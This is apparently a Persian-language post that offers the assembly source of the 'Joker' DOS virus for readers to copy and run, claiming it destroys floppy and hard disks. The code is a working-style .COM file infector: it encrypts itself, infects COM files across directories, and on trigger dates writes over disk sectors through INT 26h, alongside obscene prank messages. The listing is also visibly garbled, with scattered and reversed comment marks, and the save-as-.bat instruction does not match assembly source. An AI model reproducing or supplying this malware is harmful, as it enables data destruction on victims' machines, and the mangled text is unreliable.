این سورس اسمبلی را در نت پد کپی کرده وبا بت سیو کنید این ویروس فلاپی و هارد را می سوزاند.

```
" ... title " Joker! virus.  Written by The BOOT SECTOR Infector
;
Joker - This is a remake of the deceased "Joker/Jocker" virus.  The original ;
.had multiple programming errors in it that kept it from replicating   ;
.My version is much more successful   ;
;


page 255,80
'code segment      word public 'code
assume cs:code,ds:code
org 100h
main proc;edure


...EQUates;
(idc  equ 69h  ;ID character - (note: 69
cr  equ 13  ;ASCII for carriage return
lf  equ 10  ;ASCII for line feed

.End codes.  These determine what happens after the string is displayed;

terminate equ 0 ;Terminate program after display
halt  equ 1 ;Cause the system to hang after display
SimulateCritErr equ 2 ;Simulate the critical error handler
return2host equ 3 ;Resume program immediately
:FlashFloppy equ 4 ;Wait for a key, then reset Drive A
WaitKey  equ 5 ;Wait for a key, then resume program
PauseKey equ 6 ;Same thing, but uses a pause message
(StackError equ 7 ;Cause a stack overflow (halts system



tof:       ;Top-Of-File
jmp begin    ;Skip over program
idchar:  db idc    ;ID character

!HostProgram: nop     ;First run copy only
!nop     ;First run copy only

!first_four: nop     ;First run copy only
!address: int 20h    ;First run copy only
!check:  nop     ;First run copy only

begin:  call nextline   ;Push IP+3 onto stack
nextline: pop bp    ;mov bp,ip
sub bp,offset nextline  ;bp=disp. for mem locs
```

```
push ax    ;Save AX
call cryptor    ;Decrypt
jmp short retloc   ;Continue program

cryptor: mov al,[bp+offset encrypt_val] ;encrypt val
lea si,[bp+offset toec]  ;Top Of Encrypted Code
"      "  mov cx,offset eoec-offset toec ;Length of
cryptorloop: xor [si],al    ;en/de crypt
# rol al,cl    ;change code
!inc si    ;Next char please
loop cryptorloop   ;loop if necessary
ret     ;Return to caller

infect:  call cryptor    ;Encrypt code
pop cx    ;Restore CX for INT 21
int 21h    ;Call DOS
call cryptor    ;Decrypt code
ret     ;Go back

toec:;????????????????????????????????????????????????????Top Of Encrypted Code
InfectIt: push cx    ;Save CX for sub
jmp infect

retloc:  pop ax    ;Restore AX
xor di,di    ;DI = 0

cli     ;Disable interrupts
:mov ss,di    ;Set up stack at
mov sp,2F0h    ;   0000:02F0
sti     ;Enable interrupts

mov si,96h    ;Vector for INT 24h
mov bx,ss:[si]   ;BX = offset in segment
mov cx,ss:[si+2]   ;CX = segment
lea dx,[bp+offset int24handler] ;CS:DX -} local handler
mov ss:[si],DX   ;Save offset
mov ss:[si+2],cs   ;Save segment
mov si,es:[di+2F8h]   ;Check operation mode
cmp si,4643h   ;'CF' if already TSRed
jne GoOn    ;Nope, jmp
jmp return    ;Yes, don't do anything

GoOn:  mov cs:[di+4Ch],bx   ;use unused part of PSP
mov cs:[di+4Eh],cx   ; to save BX and CX
... push cs    ;Copy CS
pop es    ; ... to DS

mov byte ptr [bp+offset infected],0 ;Reset infection count
mov byte ptr [bp+offset max2kill],3 ;Stop after 3 or less
```

```
GoOn2:  lea si,[bp+offset first_four] ;Original first 4 bytes
mov di,offset tof   ;TOF never changes
cld     ;Read left-to-right
movsw     ;Copy the 4 bytes
movsw     ;Copy the 4 bytes

... mov ah,1Ah    ;Set DTA address
lea dx,[bp+offset DTA]  ; ... to *our* DTA
int 21h    ;Call DOS to set DTA

mov ah,4Eh    ;Find First ASCIIZ
lea dx,[bp+offset filespec]  ;DS:DX -} '*.COM',0
lea si,[bp+offset filename]  ;Point to file
push dx    ;Save DX
...jmp short continue   ;Continue

... return:  mov ah,1ah    ;Set DTA address
mov dx,80h    ; ... to default DTA
int 21h    ;Call DOS to set DTA
xor di,di    ;DI= 0
mov es,di    ;ES= 0
mov si,96h    ;Vector for INT 24h
mov bx, cs:[di+4Ch]   ;Restore from saved BX
mov word ptr es:[si+0], bx  ;Place back into vector
mov cx, cs:[di+4Eh]   ;Restore from saved CX
mov word ptr es:[si+2], cx  ;Place back into vector
... push cs    ;Move CS
pop es    ; ... to ES

mov ax,[bp+offset SavedAX]  ;Restore AX
xor bx,bx    ;BX= 0
mov cx,bx    ;CX= 0
mov dx,cx    ;DX= 0
mov si,dx    ;SI= 0
mov di,si    ;DI= 0
(mov sp,0FFFEh   ;SP= FFFEh (normal
(mov bp,100h    ;BP= 100h (RETurn addr
push bp    ; Put on stack
mov bp,ax    ;BP= 0
ret     ;JMP to 100h

?nextfile: or bx,bx    ;Did we open the file
jz skipclose   ;No, so don't close it
mov ah,3Eh    ;Close file
int 21h    ;Call DOS to close it
xor bx,bx    ;Set BX back to 0
skipclose: mov ah,4Fh    ;Find Next ASCIIZ

continue: pop dx    ;Restore DX
push dx    ;Re-save DX
```

```
xor cx,cx    ;CX= 0
xor bx,bx
int 21h    ;Find First/Next
jnc skipjmp
jmp NoneLeft   ;Out of files

skipjmp: mov ax,3D02h   ;open file
mov dx,si    ;point to filespec
int 21h    ;Call DOS to open file
jc nextfile   ;Next file if error

mov bx,ax    ;get the handle
mov ah,3Fh    ;Read from file
mov cx,4    ;Read 4 bytes
lea dx,[bp+offset first_four] ;Read in the first 4
int 21h    ;Call DOS to read

?cmp byte ptr [bp+offset check],idc ;Already infected
... je nextfile   ;Yep, try again
.NOTE: Delete the two lines above if you want it to re-infected programs;

?cmp byte ptr [bp+offset first_four],77  ;Mis-named .EXE
!je nextfile   ;Yep, maybe next time

mov ax,4202h   ;LSeek to EOF
xor cx,cx    ;CX= 0
xor dx,dx    ;DX= 0
int 21h    ;Call DOS to LSeek

?cmp ah,0F8h    ;Longer than 62K
...ja nextfile   ;Yep, try again
mov [bp+offset addr],ax  ;Save call location

mov ah,40h    ;Write to file
mov cx,4    ;Write 4 bytes
lea dx,[bp+offset first_four] ;Point to buffer
int 21h    ;Save the first 4 bytes

mov ah,[bp+offset encrypt_val] ;Get code number
inc ah    ;add 1
adc ah,0    ;increment if it's zero
mov [bp+offset encrypt_val],ah ;Save new code number

mov ah,40h    ;Write to file
mov cx,offset eof-offset begin ;Length of target code
lea dx,[bp+offset begin]  ;Point to virus start
call InfectIt   ;Exempt from encryption
ComeBackHere: mov ax,4200h   ;LSeek to TOF
xor cx,cx    ;CX= 0
xor dx,dx    ;DX= 0
```

```
int 21h    ;Call DOS to LSeek

mov ax,[bp+offset addr]  ;Retrieve location
inc ax    ;Adjust location

mov [bp+offset address],ax  ;address to call
.mov byte ptr [bp+offset first_four],0E9h  ;JMP rel16 inst
mov byte ptr [bp+offset check],idc ;EOFMARK

mov ah,40h    ;Write to file
mov cx,4    ;Write 4 bytes
[lea dx,[bp+offset first_four] ;4 bytes are at [DX
int 21h    ;Write to file

inc byte ptr [bp+offset infected] ;increment counter
dec byte ptr [bp+offset max2kill] ;decrement counter
jz TheEnd    ;If 0 then End

# inc byte ptr [bp+offset encrypt_val] ;change code
adc byte ptr [bp+offset encrypt_val],0 ;adjust if 0
!jmp nextfile    ;Next victim

?NoneLeft: cmp byte ptr [bp+offset infected],3 ;At least 3 infected
!jae TheEnd    ;The party's over

mov di,100h    ;DI= 100h
?cmp word ptr [di],20CDh  ;an INT 20h
.je TheEnd    ;Don't go to prev. dir

'..';  [lea dx,[bp+offset prevdir
mov ah,3Bh    ;Set current directory
.. int 21h    ;CHDIR
!jc TheEnd    ;We're through
mov ah,4Eh
jmp continue   ;Start over in new dir

TheEnd:  xor di,di    ;DI= 0
mov es,di    ;ES= 0
mov ah,2ah    ;Get date
int 21h    ;Do it
?cmp dl,4    ;4th of the month
jne test2    ;Nope, second test
?cmp dh,7    ;July
jne test2    ;Nope, second test
xor ax,ax    ;Sector 0
...jmp Kill    ;Kill the disk now

test2:  mov ah,2ch    ;Get time
int 21h    ;Do it
(or cl,cl    ;On the hour? (x:00 xM
```

```
jnz GiveUp    ;Return to program
??? cmp ch,6    ;Midnight to 5 AM
jnl GiveUp    ;Return to program
add cl,ch    ;Add first number
mov ax,cx    ;Transfer to AX
cbw    ;Zero out AH
add al,dh    ;Add DL to AL
adc al,dl    ;Add DL and carry flag
adc ah,0    ;Add carry to AH
??? or ax,ax    ;AX = 0
...jnz Kill    ;Kill the disk now
...inc ax    ;Well, adjust first

Kill:  mov dx,ax    ;Sector number
....mov cx,1    ;One at a time
xor bx,bx    ;Point at PSP
mov ah,19h    ;Get current disk
^ int 21h    ;Call DOS to
int 26h    ;Now kill the disk

GiveUp:  mov bx,offset message_table  ;point to table

mov ah,2ch    ;Get time
^ int 21h    ;Call DOS to
(inc dh    ;(0-59

?timeloop: cmp dh,msgs    ;mapped yet
jl timedone   ;Yes, jump
sub dh,msgs    ;try to map it
jmp short timeloop   ;and check out work

# timedone: mov al,dh    ;AL gets msg
mov cl,al    ;Save in CL for CritErr
cbw    ;AH gets 0
shl ax,1    ;AX = AX * 2
add bx,ax    ;BX = index
mov si,[bx]    ;SI points to string
# mov ch,[si-1]   ;CH is technique
mov dx,si    ;DX points to string

mov ah,9    ;Display string
^ int 21h    ;Call DOS to

?cmp ch,terminate   ;Terminate program
je TerminateProg   ;Nope, next test

?cmp ch,halt    ;Halt program
je $    ;Hang system if ch=halt

?cmp ch,SimulateCritErr  ;Simulate CritErr
```

```
je simulate   ;yes, go do it

?cmp ch,Return2host   ;Return to host
je ResumeProgram   ;yes, go do it

?:cmp ch,FlashFloppy   ;Flash drive A
je FlashFlop   ;Yes, go do it

?cmp ch,WaitKey   ;Wait for keypress
je zwait    ;Yes, go do it

?cmp ch,PauseKey   ;Pause message w/ wait
je zpause    ;Yes, go do it

?cmp ch,StackError   ;Stack overflow
je StackErr   ;Yes, go do it

Invalid code, assume Return2host;

ResumeProgram: jmp return    ;Return to caller
StackErr: call $    ;Cause stack overflow
!TerminateProg: int 20h    ;Yep, all done

... simulate: lea dx,[bp+offset ARIFmsg]  ;Abort, Retry
mov ah,9    ;Print string
^ int 21h    ;Call DOS to

mov ah,1    ;Input a char
^ int 21h    ;Call DOS to

lea dx,[bp+offset crlf]  ;crlf
mov ah,9    ;Print string
^ int 21h    ;Call DOS to

?cmp al,'a'    ;Uppercase
jb uppercase   ;Nope, jump
sub al,' '    ;Yes, make uppercase

?uppercase: cmp al,'A'    ;Abort
.je terminateprog   ;Yep, go do it

?cmp al,'R'    ;Retry
jne zskip    ;skip over "retry" code

lea dx,[bp+offset crlf]  ;Point to crlf
mov ah,9    ;Print string
^ int 21h    ;Call DOS to
mov dh,cl    ;Restore DH from CL
jmp timedone   ;Reprint error
```

```
?zskip:  cmp al,'I'    ;Ignore
je ResumeProgram   ;Return to host program
?cmp al,'F'    ;Fail
jne simulate   ;Invalid response

lea dx,[bp+offset fail24]  ;Point to fail string
mov ah,9    ;Print string
^ int 21h    ;Call DOS to
int 20h    ;Terminate program

FlashFlop: mov ah,1    ;Wait for keypress
^ int 21h    ;Call DOS to

:xor ax,ax    ;Drive A
mov cx,1    ;Read 1 sector
mov dx,ax    ;Start at boot sector
lea bx,[bp+offset boot_sector] ;BX points to buffer
:int 25h    ;Flash light on A
jmp short ResumeProgram  ;Resume if no error

zpause:  lea dx,[bp+offset pause]  ;Point to pause message
mov ah,9    ;Print string
^ int 21h    ;Call DOS to
:zwait
mov ah,1    ;Wait for keypress
^ int 21h    ;Call DOS to
...jmp short ResumeProgram  ;Go on



'$?ARIFmsg db cr,lf,'Abort, Retry, Ignore, Fail
'fail24 db cr,lf,cr,lf,'Fail on INT 24
'$',crlf db cr,lf

:message_table
dw offset msg1
dw offset msg2
dw offset msg3
dw offset msg4
dw offset msg5
dw offset msg6
dw offset msg7
dw offset msg8
dw offset msg9
dw offset msg10
dw offset msg11
dw offset msg12
dw offset msg13
```

```
dw offset msg14
dw offset msg15
dw offset msg16
dw offset msg17
dw offset msg18
dw offset msg19
dw offset msg20

msgs db 20

I tried to make it as simple as possible to change the messages   ;
:and add/delete them.  Each message is in the format   ;
;
[db [technique  ;
[label] db [Text];
;
Where [technique] is one of the 8 codes shown at the beginning of   ;
this file (terminate, halt, etc.).  This determines what the virus   ;
.should do after printing the message   ;
label] is in the form "msg##" where ## is a number from 1 to]  ;
msgs".  "msgs" is defined immediately before this"   ;
.comment block   ;
text] is a combination of text and ASCII codes, terminated by]  ;
.either a '$' or a ,36   ;
;
If you change the number of messages the virus has, you should also   ;
"add/remove lines from the offset table and change the "msgs  ;
data byte appropriately.  Let's say for instance that you want  ;
:".to remove "Program too big to fit in memory  ;
Delete the line(s) with the message and the line (1   ;
.immediately before it    ;
Move message #20 up to message #2's position and (2   ;
."change its label from "msg20" to "msg2    ;
Delete the line "dw offset msg20" from the offset (3   ;
.table    ;
:Change the line before this comment block to (4   ;
"msgs db 19"    ;
;
!Later ;
... The BOOT SECTOR Infector-   ;
;

:db FlashFloppy ;Waits for key, then flashes drive A
msg5 db 'I',39,'m hungry!  Insert PIZZA & BEER into drive A: and',cr,lf
'$ ...pause db 'Strike any key when ready

db SimulateCritErr ;Prints ARIF message and responds appropriately
'$msg1 db 'Impotence error reading user',39,'s dick

db terminate ;Ends the program immediately
```

```
'$',msg2 db 'Program too big to fit in memory',cr,lf

db halt  ;Halts the system
'$',msg3 db 'Cannot load COMMAND, system halted',cr,lf

db terminate ;Ends the program immediately
'msg4 db 'I',39,'m sorry, Dave.... but I',39,'m afraid
'$',db ' I can',39,'t do that!',cr,lf

db WaitKey  ;Waits for a keypress, then runs the program
'$ ?(msg6 db 'Format another? (Y/N

(db StackError ;Generates a stack overflow (halts the system
'$!msg7 db 'Damn it!  I told you not to touch that

db terminate ;Ends the program immediately
'$',msg8 db 'Suck me!',cr,lf

db SimulateCritErr ;Prints ARIF message and responds appropriately
'$:msg9 db 'Cocksucker At Keyboard error reading device CON

db terminate ;Ends the program immediately
msg10 db 7,cr,cr,cr,7,cr,cr,cr,7,cr,cr,cr,lf
'.db 'I',39,'m sorry, but your call cannot be completed as dialed
'$',db cr,lf,'Please hang up & try your call again.',cr,lf

db terminate ;Ends the program immediately
'$',msg11 db 'No!',cr,lf,cr,lf

db halt  ;Halts the system
'$msg12 db 'Panic kernal mode interrupt

db WaitKey  ;Waits for a keypress, then runs the program
'$',msg13 db 'CONNECT 1200«',cr,lf,cr,lf

db return2host ;Runs host program immediately
'$',msg14 db 'Okay, okay!  Be patient! ...',cr,lf

db terminate ;Ends the program immediately
'$',msg15 db 'And if I refuse?',cr,lf

db return2host ;Runs host program immediately
'$',msg16 db 'Fuck the world and its followers!',cr,lf

db return2host ;Runs host program immediately
'$',msg17 db 'You are pathetic, man... you know that?',cr,lf

db terminate ;Ends the program immediately
'$',msg18 db 'Cum on!  Talk DIRTY to me !!!',cr,lf
```

```
db terminate ;Ends the program immediately
'$',msg19 db 'Your coprocessor wears floppy disks!',cr,lf

db PauseKey ;Waits for keypress (SAKWR), then runs host prg
msg20 db 'Joker! ver àà by TBSI!',cr,lf
'$',db 'Remember!  EVERYTHING',39,'s bigger in Texas!',cr,lf

int24handler: xor al,al    ;Ignore the error
iret     ;Interrupt return


filespec: db '*.COM',0   ;File specification
prevdir: db '..',0     ;previous directory
max2kill db 3    ;max. files to infect

eoec:;????????????????????????????????????????????????End Of Encrypted
Code
VersionNumber dw 100h    ;Version 1.00
encrypt_val db 0    ;1st-run copy only

None of this information is included in the virus's code.  It is only used ;
during the search/infect routines and it is not necessary to preserve it ;
.in between calls to them ;

:eof
:DTA

db 21 dup (?)   ;internal search's data
attribute db ?    ;attribute
file_time db 2 dup (?)   ;file's time stamp
file_date db 2 dup (?)   ;file's date stamp
file_size db 4 dup (?)   ;file's size
filename db 13 dup (?)   ;filename

SavedAX  dw ?    ;Used to save AX
infected db ?    ;infection count
addr  dw ?    ;Address

:boot_sector

main endp;rocedure
code ends;egment

end
```